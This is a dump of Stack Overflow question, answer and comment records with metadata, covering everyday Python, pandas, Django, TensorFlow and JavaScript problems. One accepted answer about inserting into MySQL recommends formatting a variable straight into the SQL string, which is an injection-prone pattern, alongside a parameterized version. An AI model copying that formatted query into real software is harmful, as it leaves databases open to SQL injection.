answer count: 1

http://stackoverflow.com/q/46954643
type: UnansweredQuestion
answer count: 1
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/80885486
tagged with: google-cloud-ml-engine
tagged with: tensorflow
has body: For labelling objects, If I use TensorFlow's label_image.py like: $ python label_image.py --image=1.jpg --graph=output_inference_graph.pb/frozen_inference_graph.pb --labels=test.txt Error: KeyError: "The name 'final_result:0' refers to a Tensor which does not exist. The operation, 'final_result', does not exist in the graph." Reference link:https://github.com/tensorflow/tensorflow/blob/r1.3/tensorflow/examples/image_retraining/label_image.py
favorite count: 0
has title: TensorFlow retrain label_image.py (Simple image classification with Inception)
has comment: http://stackoverflow.com/comment/80861856
tagged with: tensorboard
has answer: http://stackoverflow.com/a/46969167
tagged with: python
score: 1
tagged with: gcloud
type: Question
has comment: http://stackoverflow.com/comment/80882976

http://stackoverflow.com/comment/107915138
comment on: http://stackoverflow.com/a/47025424
has text: @Brambor: I don't think so, OP wanted a reversed list as the result
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/80909445
type: QuestionComment
comment on: http://stackoverflow.com/q/46964726
has text: Please see my answer for a correct solution, mypetlion's one is not doing the right thing. I explained why.
score: 0
type: Comment

http://stackoverflow.com/comment/80830805
comment on: http://stackoverflow.com/q/46941694
has text: Because the user in an other place should be able to choose what Queue he/she wants to put the form info into, only in this place do we hide it and make it go directly to Queue with ID 9
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/46922811
has body: Not sure if this is what you want to achieve but If you want to add a Scale widget sticked to the east side of your plot, add the lines below before your app.mainloop(): value = tk.DoubleVar() scale = tk.Scale(app, variable=value, orient="vertical") scale.grid(row=0, column=1, sticky="wens")
score: 0
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/46921821
type: Answer
accepted answer of: http://stackoverflow.com/q/46921821

http://stackoverflow.com/comment/80877213
score: 0
type: QuestionComment
type: Comment
has text: @Caleb_McCreary I know it is, but his prior example ask for index 0 through index 3 and using [0:3] was valid.
comment on: http://stackoverflow.com/q/46964660

http://stackoverflow.com/q/47004066
answer count: 2
has body: I have a column in a data set which has the following format: 'XX4H30M' I need to extract the numbers in these sequences into two columns ('H', and 'M). If the format is exactly as described, the following does what I need: d3 = df.colname.str.extract('([0-9])([0-9])', expand=True) d3.columns = ['H', 'M'] df = pd.concat([df, d3]) However, a good number of the cells in this series just contain 'XX45M' or XX3H Is there a way to optionally extract these patterns to insert them into the global df? For a concrete set of examples: df = pd.DataFrame({'A': ['XX1H30M', 'XX45M', 'XX2H']) would end up as Out: A H M 0 XX1H30M 1 30 1 XX45M 0 45 2 XX2H 2 0
has title: Pandas optional extract
type: AnsweredQuestion
score: 0
accepted answer: http://stackoverflow.com/a/47004436
tagged with: pandas
has answer: http://stackoverflow.com/a/47004436
tagged with: dataframe
possible better answer: http://stackoverflow.com/a/47004782
tagged with: python
has answer: http://stackoverflow.com/a/47004782
type: Question

http://stackoverflow.com/q/47016702
tagged with: caching
has comment: http://stackoverflow.com/comment/80987240
tagged with: service-worker
has comment: http://stackoverflow.com/comment/118130141
score: 0
answer count: 0
type: Question
has body: I am using service workers in one of my projects. On call, my service worker gets successfully registered and it caches all provided URLS. But when I reload my page, all cached data is either picked from disk cache or memory cache and not from service worker. I refered this question Service worker is caching files but fetch event is never fired and cross checked that there is not a problem with scoping. service-worker.js var CACHE_NAME = 'home-screen-cache'; var urlsToCache = [ '/static/client-view/fonts/fontawesome-webfont.eot', '/static/client-view/fonts/fontawesome-webfont.woff', '/static/client-view/fonts/fontawesome-webfont.ttf', '/static/client-view/fonts/fontawesome-webfont.svg', '/static/css/cricket.css', '/static/client-view/js/jquery.mobile.custom.min.js', '/static/client-view/js/jquery-2.1.4.min.js', '/static/js/cricket_matches.js' ]; self.addEventListener('install', function(event) { // Perform install steps event.waitUntil( caches.open(CACHE_NAME) .then(function(cache) { console.log('Opened cache'); return cache.addAll(urlsToCache); }) ); }); self.addEventListener('fetch', function(event) { event.respondWith( caches.match(event.request) .then(function(response) { // Cache hit - return response if (response) { console.log("Found in cache"); return response; } console.log("Not found in cache"); return fetch(event.request); } ) ); }); service-worker registration script if ('serviceWorker' in navigator) { window.addEventListener('load', function() { navigator.serviceWorker.register('{% static 'service-worker.js' %}').then(function(registration) { // Registration was successful console.log('ServiceWorker registration successful with scope: ', registration.scope); }, function(err) { // registration failed :( console.log('ServiceWorker registration failed: ', err); }); }); } If you need any kind of additional data, mention in comments. Please help.
has comment: http://stackoverflow.com/comment/80987688
linked to: http://stackoverflow.com/q/34147562
type: UnansweredQuestion
tagged with: django
has title: Service Worker does not fire upon fetch and return cached data
tagged with: python
has comment: http://stackoverflow.com/comment/81010825
has comment: http://stackoverflow.com/comment/81057223

http://stackoverflow.com/a/46979831
answers question: http://stackoverflow.com/q/46979281
has comment: http://stackoverflow.com/comment/116593862
accepted answer of: http://stackoverflow.com/q/46979281
type: Answer
score: 2
upvote count: 2
type: AcceptedAnswer
has body: I've come up with a solution that works for the purpose of establishing a connection. Instead of passing cx_Oracle.connect the individual variable names, it works if you construct the actual connect string, e.g. db_selfserve2 = cx_Oracle.connect('notMyRealUserName/notMyPassword@123.456.121.222:123456/serviceName') You can find the service name by logging into the database using a client where you are able to connect successfully and issuing the following command select sys_context('userenv','service_name') from dual;
downvote count: 0

http://stackoverflow.com/q/47023285
type: Question
accepted answer: http://stackoverflow.com/a/47024344
has title: Convert ami creation date from string to datetime format
upvote count: 2
has comment: http://stackoverflow.com/comment/80994175
downvote count: 2
has answer: http://stackoverflow.com/a/47024344
answer count: 1
tagged with: boto3
tagged with: amazon-web-services
favorite count: 0
tagged with: boto
type: AnsweredQuestion
tagged with: python-2.7
has body: How to convert ami creation date from string to datetime format? I am using boto3, i need to convert ami.creation_date from sting format to datetime.
score: 0
tagged with: python

http://stackoverflow.com/comment/80909009
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46980587
has text: It is hard to understand what's the desired output
score: 0

http://stackoverflow.com/q/47005815
has title: Increment array in python, like a base number system
upvote count: 1
tagged with: arrays
favorite count: 0
has answer: http://stackoverflow.com/a/47006612
type: Question
accepted answer: http://stackoverflow.com/a/47006612
has comment: http://stackoverflow.com/comment/80958205
has comment: http://stackoverflow.com/comment/80959449
has comment: http://stackoverflow.com/comment/80958228
has comment: http://stackoverflow.com/comment/80958342
possible better answer: http://stackoverflow.com/a/47006024
score: 1
has answer: http://stackoverflow.com/a/47006024
has body: Say I have an array like [0 0 0 0] and I want to iterate it on a base-like scale. So say I pick base 100, and assume that I want to do it in a little endian system. My output would look like: [1 0 0 0] [2 0 0 0] ... [99 0 0 0] [0 1 0 0] My code currently is in a function 'indexArray' but I was wondering it it was possible to do this without an if statement in a much simpler way? def indexArray(enteredArr): enteredArr[0] += 1 for i in range(len(enteredArr)): if enteredArr[i] &gt; 99: enteredArr[i] = 0 enteredArr[i + 1] += 1 return enteredArr
tagged with: python
tagged with: numpy
type: AnsweredQuestion
answer count: 2
downvote count: 0

http://stackoverflow.com/comment/80928980
type: AnswerComment
score: 0
has text: Any idea on timeit/efficiency of those two ways?
comment on: http://stackoverflow.com/a/46990171
type: Comment

http://stackoverflow.com/comment/80837881
comment on: http://stackoverflow.com/a/46945306
has text: Alternatively, use the OP's code, and just change `d.append(temp)` to `d.append(temp[:])`, using the "empty slice" to insert a shallow copy of `temp` each time, not another alias to it. Your list comprehension is faster and clearer about what it's doing, shallow copying is just the minimal fix.
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/q/46992491
has comment: http://stackoverflow.com/comment/80931810
accepted answer: http://stackoverflow.com/a/46992651
tagged with: python
type: AnsweredQuestion
tagged with: python-2.7
score: 0
answer count: 1
has answer: http://stackoverflow.com/a/46992651
has body: I need some help with tracking the index from the list. I want to search to get the previous elements from the list. If I have two elements in the list, I would like to find the 5 previous elements so I can store them in the list. Example: When the variable start_ch show the two elements in the list '421 Eir Sport 1', '422 Eir Sport 2', I want to fetch the 5 previous elements of '416 BT Sport 2', '417 At the Races', '418 BT Sport ESPN', '419 MUTV', '420 Chelsea TV' to store them in the list that joins the two last elements. I want to make it to show like this: ['416 BT Sport 2', '417 At the Races', '418 BT Sport ESPN', '419 MUTV', '420 Chelsea TV', '421 Eir Sport 1', '422 Eir Sport 2'] Here is what start_ch show when I am fetching the two elements: ['421 Eir Sport 1', '422 Eir Sport 2'] Here is the list for self.channel: ['101 BBC One S East', '102 BBC Two', '103 ITV', '104 Channel 4', '105 Channel 5', '106 Sky One', '107 Sky Living', '108 Sky Atlantic', '401 Sky Sports 1 UK', '402 SKY Sports 2 UK', '403 Sky Sports 3 UK', '404 Sky Sports 4 UK', '405 Sky Sports 5 UK', '406 Sky Sports News HQ', '407 Sky Sports F1', '408 Sky Sports 1 HD', '409 Sky Sports 2 HD', '410 Sky Sports 3 HD', '411 Sky Sports 4 HD', '412 Sky Sports 5 HD', '413 Eurosport 1 UK', '414 Eurosport 2 UK', '415 BT Sport 1', '416 BT Sport 2', '417 At the Races', '418 BT Sport ESPN', '419 MUTV', '420 Chelsea TV', '421 Eir Sport 1', '422 Eir Sport 2'] When I try this: for i, start_ch in enumerate(self.channel): if start_ch == channel: start_ch = self.channel[i:i+7] if len(start_ch) == 1: start_ch = self.channel[i:i-6] elif len(start_ch) == 2: start_ch = self.channel[i:i-5] elif len(start_ch) == 3: start_ch = self.channel[i:i-4] elif len(start_ch) == 4: start_ch = self.channel[i:i-3] elif len(start_ch) == 5: start_ch = self.channel[i:i-2] elif len(start_ch) == 6: start_ch = self.channel[i:i-1] print "start_ch" print start_ch for channels in start_ch: print "channels_list" channels_list.append(channels) #add…
has title: Search for the previous elements from the list
type: Question

http://stackoverflow.com/q/46965752
tagged with: io
has comment: http://stackoverflow.com/comment/82671748
has answer: http://stackoverflow.com/a/46966161
tagged with: python
score: -1
has body: In non blocking IO programming model, a thread blocked on data available channels, as shown below, in python, while True: readers, _, _ = select.select([sys.stdin, sock], [], []) # blocked select() for reader in readers: if reader is sock: print(sock.recv(1000).decode('utf-8')) else: msg = sys.stdin.readline() sock.send(msg.encode('utf-8')) in java, public void run() { while(true){ try{ executeCycle(); } catch(IOException e){ e.printStackTrace(); } try { Thread.sleep(100); } catch (InterruptedException e) { e.printStackTrace(); } } } public void executeCycle() throws IOException { takeNewSockets(); readFromSockets(); writeToSockets(); } In Non-blocking IO programming model, execution flow generally follows the pattern of infinite-loop with the main(only) responsibility to find the data available channels(ready) and perform IO with the available channel. In a scenario, where all channels are busy(for a duration), Does non-blocking IO programming model allow a thread that perform nio with/without infinite loop also to perform another CPU-bound task in same thread, for a meantime?
has answer: http://stackoverflow.com/a/46966146
accepted answer: http://stackoverflow.com/a/46966146
has comment: http://stackoverflow.com/comment/82675731
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80879403
upvote count: 0
answer count: 2
has comment: http://stackoverflow.com/comment/80879600
possible better answer: http://stackoverflow.com/a/46966161
tagged with: java
tagged with: multithreading
downvote count: 1
favorite count: 0
type: Question
tagged with: nonblocking
has title: Non blocking IO - Programming model

http://stackoverflow.com/a/46995258
score: 4
has body: Here is the one of the solution . df=df.apply(pd.to_numeric,errors='coerce').\ apply(lambda x: sorted(x, key=pd.isnull), 1).fillna('') df Out[931]: data1 data2 data3 0 111.0 555.0 1 222.0 666.0 2 333.0 777.0 3 444.0 888.0
has comment: http://stackoverflow.com/comment/80937028
accepted answer of: http://stackoverflow.com/q/46995204
type: Answer
answers question: http://stackoverflow.com/q/46995204
upvote count: 4
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/80937017

http://stackoverflow.com/a/46997018
has body: For your purpose I suggest you to write separate function to calculate conversion so you can call it recursively # first of all let's define how many invalid attempt you want to allow to user. MAX_INCORRECT_ATTEMPT = 5 def f_to_c(attempt=0): """ convert °F to °C """ try: num = float(input ('Enter a temperature in °F: ')) # take input and convert it to float if exception occurs it will be handled r = round(num) s = (r-32)*(5/9) print (r,'°F is ',round(s),'°C') if s &gt; 30: print ('A little hot out there!') elif s &lt; 5: print ('Make sure to wear a jacket!') else: print ('Have a nice day!') return True # returns True if act of user is valid as expected except ValueError: # to only handle valueerror caused only if user enters invalid input like string or any special character # it is good habit to precise which exception you are handling so I have specified ValueError arise in python3 when conversion of input is not possible attempt += 1 # well here we increse invalid attempt count print ('Please enter only numbers..') if attempt &gt; MAX_INCORRECT_ATTEMPT: return False else: return f_to_c(attempt) # pass the invalid attempt count to function argument def c_to_f(attempt=0): """ convert °C to °F """ try: num = float(input('Enter a temperature in °C: ')) r = round(num) s = (r*9/5)+32 print("{} °C is {} °F".format(r, round(s))) if s &gt; 86: print ('A little hot out there!') elif s &lt; 41: print ('Make sure to wear a jacket!') else: print ('Have a nice day!') return True except ValueError: attempt += 1 # calculating attempt so we can end the program if user exceeds allowed limit of faults print ('Please enter only numbers..') if attempt &gt; MAX_INCORRECT_ATTEMPT: return False else: return c_to_f(attempt) def temperature_converter(): while True: selection = input ('\nChoose your conversion \n1- "F to C" \n2- "C to F"\n3- Quit\n&gt; ') if selection == '1': status = f_to_c() # store the value returned by function in status if not status: # the block only executes if func…
has comment: http://stackoverflow.com/comment/81214056
answers question: http://stackoverflow.com/q/46996801
has comment: http://stackoverflow.com/comment/81292519
has comment: http://stackoverflow.com/comment/81213802
has comment: http://stackoverflow.com/comment/81292565
type: Answer
has comment: http://stackoverflow.com/comment/81208161
score: 0
has comment: http://stackoverflow.com/comment/81293568

http://stackoverflow.com/comment/80788107
type: Comment
type: QuestionComment
score: 0
has text: Sounds like an environment issue (not a tool issue).
comment on: http://stackoverflow.com/q/46919968

http://stackoverflow.com/a/46962730
upvote count: 1
has comment: http://stackoverflow.com/comment/80874857
answers question: http://stackoverflow.com/q/46962557
score: 1
type: Answer
accepted answer of: http://stackoverflow.com/q/46962557
has body: What You probably want is to insert variable a into Your SQL code, but it doesn't work - and the parser gets a "?" where You want it to have "abcd" You could try this: cursor.execute("INSERT INTO table_jeux (lien_fiche) VALUES ({})".format(a)) or (in somewhat python2 manner): cursor.execute("INSERT INTO table_jeux (lien_fiche) VALUES (%s)", (a,)) as described here: https://dev.mysql.com/doc/connector-python/en/connector-python-api-mysqlcursor-execute.html
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/80863664
comment on: http://stackoverflow.com/a/46958012
has text: There is difference between readlines() and read()! Readlines holds the trailing newline character too!
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/81031988
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47042399
has text: Are you using 1.10.5 of `fread` which is new, in dev, and not yet on CRAN? Try also [paratext](https://github.com/wiseio/paratext).

web-scraping
tags question: http://stackoverflow.com/q/47042358
tags question: http://stackoverflow.com/q/46985895
tags question: http://stackoverflow.com/q/46939451
tags question: http://stackoverflow.com/q/46942778
tags question: http://stackoverflow.com/q/46946800
tags question: http://stackoverflow.com/q/46968367
tags question: http://stackoverflow.com/q/46997198
tags question: http://stackoverflow.com/q/46910048
tags question: http://stackoverflow.com/q/46943648
tags question: http://stackoverflow.com/q/47027652
tags question: http://stackoverflow.com/q/46988246
tags question: http://stackoverflow.com/q/46924211
tags question: http://stackoverflow.com/q/46923931
tags question: http://stackoverflow.com/q/46915336
tags question: http://stackoverflow.com/q/47040905
tag name: web-scraping
tags question: http://stackoverflow.com/q/46951527
tags question: http://stackoverflow.com/q/46938332
tags question: http://stackoverflow.com/q/46917721
tags question: http://stackoverflow.com/q/47008550
tags question: http://stackoverflow.com/q/46923475
tags question: http://stackoverflow.com/q/46963166
tags question: http://stackoverflow.com/q/47005212
tags question: http://stackoverflow.com/q/46913820
tags question: http://stackoverflow.com/q/47039874
tags question: http://stackoverflow.com/q/46999965
tags question: http://stackoverflow.com/q/46920734
tags question: http://stackoverflow.com/q/46972535
tags question: http://stackoverflow.com/q/46987241
tags question: http://stackoverflow.com/q/46917960
tags question: http://stackoverflow.com/q/47004520
tags question: http://stackoverflow.com/q/46982325
tags question: http://stackoverflow.com/q/47014927
tags question: http://stackoverflow.com/q/46951433
tags question: http://stackoverflow.com/q/47048098
tags question: http://stackoverflow.com/q/46971448
tags question: http://stackoverflow.com/q/47038692
type: Tag
tags question: http://stackoverflow.com/q/46988143
tags question: http://stackoverflow.com/q/47021611
tags question: http://stackoverflow.com/q/47051875
tags question: http://stackoverflow.com/q/46964509
tags question: http://stackoverflow.com/q/47035104
tags question: http://stackoverflow.com/q/46988727
tags question: http://stackoverflow.com/q/46961171
tags question: http://stackoverflow.com/q/46946374
tags question: http://stackoverflow.com/q/46965762
tags question: http://stackoverflow.com/q/46939222
tags question: http://stackoverflow.com/q/46981774
tags question: http://stackoverflow.com/q/46953706
tags question: http://stackoverflow.com/q/46948328
tags question: http://stackoverflow.com/q/46959291
tags question: http://stackoverflow.com/q/46906620
tags question: http://stackoverflow.com/q/46916543
tags question: http://stackoverflow.com/q/47044587
tags question: http://stackoverflow.com/q/46991155
tags question: http://stackoverflow.com/q/46985544
tags question: http://stackoverflow.com/q/47047316
tags question: http://stackoverflow.com/q/46929976
tags question: http://stackoverflow.com/q/46992848
tags question: http://stackoverflow.com/q/46924583
tags question: http://stackoverflow.com/q/47017419
tags question: http://stackoverflow.com/q/47034189
tags question: http://stackoverflow.com/q/46938138
tags question: http://stackoverflow.com/q/46990402
tags question: http://stackoverflow.com/q/47042536
tags question: http://stackoverflow.com/q/47039809
tags question: http://stackoverflow.com/q/46947094
tags question: http://stackoverflow.com/q/46912995

http://stackoverflow.com/q/47054795
has answer: http://stackoverflow.com/a/47054854
accepted answer: http://stackoverflow.com/a/47054851
tagged with: dataframe
has title: creating a dataframe using a dictionary with new columns in pandas in python
has answer: http://stackoverflow.com/a/47054851
type: Question
answer count: 2
tagged with: python
tagged with: dictionary
type: AnsweredQuestion
score: 0
has body: hi I have a dictionary, d={'Pricing': 1, 'Product': 1, 'Rates': 2, 'one': 1} columnsd=["one","two"] I tried, df=pd.DataFrame(d,columns=columnsd) I am getting, ValueError: If using all scalar values, you must pass an index my desired df should be, one two Pricing 1 Product 1 Rates 2 one 1
tagged with: data-analysis
possible better answer: http://stackoverflow.com/a/47054854
tagged with: pandas

http://stackoverflow.com/comment/81021396
type: Comment
comment on: http://stackoverflow.com/q/47036355
type: QuestionComment
has text: Wrong question. The good question to ask (to yourself) is how you get that bogus string. It looks like you have partially decoded a json. Decode it correctly in first place and **this** problem will vanish...
score: 3

http://stackoverflow.com/a/46979683
has body: l = [ { "ID": "12345", "productName": "Product A ", "minPrice": "$89.00", "maxPrice": "$89.00", "variationProducts": [ { "variantColor": "JJ0BVE7", "variantSize": "080", "sellingPrice": "$89.00", "inventory": 3, }, { "variantColor": "JJ0BVE7", "variantSize": "085", "sellingPrice": "$89.00", "inventory": 6, } ], "productAttributes": [ { "ID": "countryOfOrigin", "value": "Imported" }, { "ID": "csProductCode", "value": "1100" } ] }, { "ID": "23456", "productName": "Product B", "minPrice": "$29.99", "maxPrice": "$69.00", "variationProducts": [ { "variantColor": "JJ169Q0", "variantSize": "050", "sellingPrice": "$69.00", "inventory": 55, }, { "variantColor": "JJ123Q0", "variantSize": "055", "sellingPrice": "$69.00", "inventory": 5, } ], "productAttributes": [ { "ID": "countryOfOrigin", "value": "Imported" }, { "ID": "csProductCode", "value": "1101" } ] } ] import pandas as pd from itertools import * final_list = [] for val in l: d = {} d.update({key:val[key] for key in val.keys() if key not in ['variationProducts','productAttributes']}) for prods,attrs in izip_longest(val['variationProducts'],val['productAttributes']): if prods: d.update(prods) if attrs: d.update({attrs['ID']:attrs['value']}) final_list.append(d.copy()) pd.DataFrame(final_list)
answers question: http://stackoverflow.com/q/46979118
score: 0
has comment: http://stackoverflow.com/comment/80907127
type: Answer

http://stackoverflow.com/comment/80827312
comment on: http://stackoverflow.com/q/46922645
has text: Could this issue be caused by something like being in the wrong context when attempting to publish an update?
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/80897476
has text: @BryanOakley Is there possibly a way to reword your suggestion, because I can't see what you meant. My interpretation of the OP's first paragraph is that he wants to create a popup window before the main window is initialised and I believe this is what my answer provides.
comment on: http://stackoverflow.com/a/46974225
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/104320668
type: AnswerComment
has text: I will try docker, seems like the best option
comment on: http://stackoverflow.com/a/47614106
type: Comment
score: 0

http://stackoverflow.com/q/46996277
has title: How to group my data by differentes values of datetime?
answer count: 0
type: UnansweredQuestion
score: 0
tagged with: pandas-groupby
has comment: http://stackoverflow.com/comment/80961173
has comment: http://stackoverflow.com/comment/80939285
tagged with: python
has body: I have a dataframe with data every 15 minutes for 2 years, I need to group my data in different time intervals. I have to apply a function every day, just that my day has more than 24 hours, that is, the range of data in which I must apply the function of the day, it has some hours before the day and some hours after the day, that is to say , for thenter code heree day 08/15/2016, the lower limit of the data range is 08/14/2016 20:00:00, and the upper limit 08/16/2016 06:00:00. I have a dataframe with the daily data every 15 minutes and another dataframe with the time intervals for each day. I already tried several ways but I can not create a function to modify the Groupby command Date_time,wt_f 2015-09-15 11:00:00,1.2982869908295105 2015-09-15 11:15:00,1.302517743219596 2015-09-15 11:30:00,1.3067403484132343 2015-09-15 11:45:00,1.310906931975276 2015-09-15 12:00:00,1.3149784663752402 2015-09-15 12:15:00,1.3191250773036653 2015-09-15 12:30:00,1.3226057283408936 2015-09-15 12:45:00,1.3238564048371992 2015-09-15 13:00:00,1.3247697516940984 import pandas as pd import matplotlib.pyplot as plt import numpy as np from sklearn import linear_model sy = 0.139 hp = 2.12 dados = pd.read_csv('wt_f.csv' , header = 0) dados['Date_time'] = pd.to_datetime(dados['Date_time'],format='%Y-%m-%d %H:%M:%S') dados = dados.set_index(['Date_time']) dados['wt_l'] = dados['wt_f'] - hp dados['dwt_l/dt'] = dados.wt_l.diff(+1) dados['dt_j'] = dados.index.to_julian_date() #dados['date'] = dados.index.date reg = linear_model.LinearRegression() def regr_m(dados, x, y): reg_m = reg.fit(dados[x], dados[y]) return reg_m.coef_[0][0] def regr_b(dados, x, y): reg_b = reg.fit(dados[x], dados[y]) return reg_b.intercept_[0] a = dados.at_time('0:00:00') a = a.drop(['wt_f','wt_l','dwt_l/dt','dt_j'] , axis = 1) a['lim_inf'] = a.index - pd.to_timedelta('4:00:00') a['lim_sup'] = a.index + pd.to_timedelta('32:00:00') a = a.reset_index()
type: Question

http://stackoverflow.com/q/47047297
upvote count: 1
has answer: http://stackoverflow.com/a/68302527
tagged with: evdev
favorite count: 0
score: 1
tagged with: python
tagged with: pygame
has title: Multiple Gamepads with Python Evdev?
has body: I found a way to use a gamepad in Python, using the module Evdev (see link at the end). In this tutorial the author only uses one gamepad, but he also states, that it should be possible to use multiple gamespads with code basing on the following: from evdev import InputDevice from select import select gamepad = InputDevice('/dev/input/event0') while True: r,w,x = select([gamepad], [], []) for event in gamepad.read(): print(event) Select.select seems to wait until a button is pressed, so that the program is interupted until that happens. How can I modify the code to use multiple gamepads or to execute other code while waiting for button-inputs? Or is there a better alternative to using evdev for that matter? http://ericgoebelbecker.com/2015/06/raspberry-pi-and-gamepad-programming-part-1-reading-the-device/
has comment: http://stackoverflow.com/comment/91042013
type: Question
tagged with: gamepad
has answer: http://stackoverflow.com/a/47061042
has comment: http://stackoverflow.com/comment/99435861
answer count: 2
tagged with: raspberry-pi
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81070362
downvote count: 0

http://stackoverflow.com/comment/81014351
has text: @ArsalanSherwani If you think this is the solution to you issue mark it as accepted
type: QuestionComment
comment on: http://stackoverflow.com/q/47031017
score: 0
type: Comment

http://stackoverflow.com/a/69979323
type: Answer
upvote count: 4
downvote count: 0
has body: As @mgilson answer states, autoescape is NOT enabled by default on all files, but only on those ending with .html, .htm, .xml and .xhtml. Not everyone uses these extensions because they may be misleading: the code they contain is not normal (X)HTML code, but rather Jinja templates; to clarify this some people use the extension .j2. In order to enable autoescape for all files regardless of their extension, one can use the following code: app.jinja_options["autoescape"] = True
score: 4
answers question: http://stackoverflow.com/q/46944596

http://stackoverflow.com/comment/80942833
type: QuestionComment
comment on: http://stackoverflow.com/q/46998094
type: Comment
has text: Why don't you pass `string` directly?
score: 1

http://stackoverflow.com/comment/80906475
type: QuestionComment
comment on: http://stackoverflow.com/q/46977744
has text: No, it does not do that. It is clearly not possible to run the code currently in your question, as there are several parts of it missing. Please read the second link I gave in my previous comment if you want help.
score: 0
type: Comment

http://stackoverflow.com/comment/81024131
comment on: http://stackoverflow.com/a/47038574
type: Comment
type: AnswerComment
score: 1
has text: Those are Chromium warnings, the backend that Qt uses for QWebEngineView, is telling you that some things are not supported, but they are not errors. These are the same messages generated by google-chrome, mozilla, etc. if you run it from the console.

http://stackoverflow.com/comment/81038954
type: AnswerComment
type: Comment
has text: This generates a new list. The question (in my reading, again) is about in-place substitution.
comment on: http://stackoverflow.com/a/47045777
score: 0

http://stackoverflow.com/comment/80880767
comment on: http://stackoverflow.com/q/46966615
type: Comment
score: 1
type: QuestionComment
has text: That's weird. Could you share the output of those `print` statements?

http://stackoverflow.com/q/47047605
tagged with: selenium
tagged with: google-chrome
has body: I am wanting to use headless Chrome but with extensions. I realise this is not possible. I realise there are lots of good GitHub projects which make use of javascript and behave like extensions. My question is, and I know there are easily ways of doing this with addons but headless chrome makes this impossible. How do I go about injecting default firefox/Chrome with javascript without addons so I am able to use headless Chrome/Firefox as well as GitHub projects
favorite count: 0
type: Question
has title: Injecting headless chrome with javascript
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81042743
has comment: http://stackoverflow.com/comment/81093234
tagged with: javascript
tagged with: python
has comment: http://stackoverflow.com/comment/81061690
score: 2
has comment: http://stackoverflow.com/comment/81042681
answer count: 0
upvote count: 2
has comment: http://stackoverflow.com/comment/81042509
has comment: http://stackoverflow.com/comment/81042695
tagged with: firefox
downvote count: 0

http://stackoverflow.com/a/63589103
answers question: http://stackoverflow.com/q/46934693
type: Answer
upvote count: 1
has body: It seems that we need to add the matcher2.py and matcher.py at first. Otherwise, it has the following error. >>> import os, glob >>> os.system("tree ./matcher") sh: 1: tree: not found 32512
score: 1
downvote count: 0

http://stackoverflow.com/q/46915981
has body: So I am using django-simple-history module that tracks changes in Model instances. However, it uses post_save signal to do so. In my project, I also need it to trigger on update(). My question is: How to overwrite the update() method to trigger post_save signals?
has answer: http://stackoverflow.com/a/79069697
score: 4
type: AnsweredQuestion
answer count: 3
favorite count: 0
has title: Django trigger post_save on update()
type: Question
upvote count: 4
has answer: http://stackoverflow.com/a/51536868
accepted answer: http://stackoverflow.com/a/46917401
downvote count: 0
tagged with: django
has comment: http://stackoverflow.com/comment/80779220
tagged with: django-models
tagged with: python
possible better answer: http://stackoverflow.com/a/79069697
tagged with: django-rest-framework
tagged with: django-simple-history
has answer: http://stackoverflow.com/a/46917401

http://stackoverflow.com/a/47006331
has body: re.match looks for a match at the beginning of the string, but allows unmatched characters to follow the match. To force it to match all the way to the end, you can add a $ character to the pattern: match("[0-9]*\.?[0-9]+$", stuff)
type: Answer
has comment: http://stackoverflow.com/comment/80959254
has comment: http://stackoverflow.com/comment/80959447
accepted answer of: http://stackoverflow.com/q/47006293
has comment: http://stackoverflow.com/comment/80959503
score: 0
answers question: http://stackoverflow.com/q/47006293
type: AcceptedAnswer

http://stackoverflow.com/a/46963742
type: Answer
has comment: http://stackoverflow.com/comment/80875319
score: 2
upvote count: 2
type: AcceptedAnswer
downvote count: 0
has body: Just to put my two cents in: wouldn't it be a lot easier with two regular expression? import re text = "func(10+3,40+5,1002+54);....;func(6+7,8+9)" func = re.compile(r'func\([^()]+\)') params = re.compile(r'\d+\+\d+,?') result = [[p.group(0) for p in params.finditer(f.group(0))] for f in func.finditer(text)] print(result) # [['10+3,', '40+5,', '1002+54'], ['6+7,', '8+9']] This way every element contains the parameter of only one function. To have the positions, we need to add the outer start position as an offset: import re text = "func(10+3,40+5,1002+54);....;func(6+7,8+9)" func = re.compile(r'func\([^()]+\)') params = re.compile(r'\d+\+\d+,?') result = [[(p.start() + f.start(), p.end() + f.start()) for p in params.finditer(f.group(0))] for f in func.finditer(text)] print(result) # [[(5, 10), (10, 15), (15, 22)], [(34, 38), (38, 41)]]
answers question: http://stackoverflow.com/q/46962763
accepted answer of: http://stackoverflow.com/q/46962763

http://stackoverflow.com/comment/80839020
score: 0
type: Comment
has text: Oh, I see now, that's tricky. The only fix that comes into my mind is.. I will update this answer.
type: AnswerComment
comment on: http://stackoverflow.com/a/46945615

http://stackoverflow.com/a/46948708
has body: The dictionary you think you're accessing is actually located in a list. More specifically, it's the first item in the list data (yes, data is a list). Do data[0]["InstanceState"]["Name"]
type: AcceptedAnswer
type: Answer
answers question: http://stackoverflow.com/q/46948672
score: 2
accepted answer of: http://stackoverflow.com/q/46948672
downvote count: 0
upvote count: 2

http://stackoverflow.com/a/46967471
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/80882486
has comment: http://stackoverflow.com/comment/80882788
has body: If I understood correctly, this will do it. d3[upc][desc][dept_no]['dept_name'] = "Something" You create a key in an existing dict by just assigning a value to it. Example: mydict = {'something': 1,'something2': 2} print(mydict) &gt;&gt;&gt; {'something': 1, 'something2': 2} # print shows 2 values mydict['something3'] = 3 # add a new key print(mydict) &gt;&gt;&gt; {'something': 1, 'something3': 3, 'something2': 2} # now print shows 3 values, which confirms that we added a new key and value to the dict.
type: Answer
accepted answer of: http://stackoverflow.com/q/46967376
answers question: http://stackoverflow.com/q/46967376
score: 0
has comment: http://stackoverflow.com/comment/80882517

http://stackoverflow.com/q/46948881
upvote count: 3
downvote count: 0
has answer: http://stackoverflow.com/a/46975560
answer count: 1
tagged with: mifare
favorite count: 0
type: Question
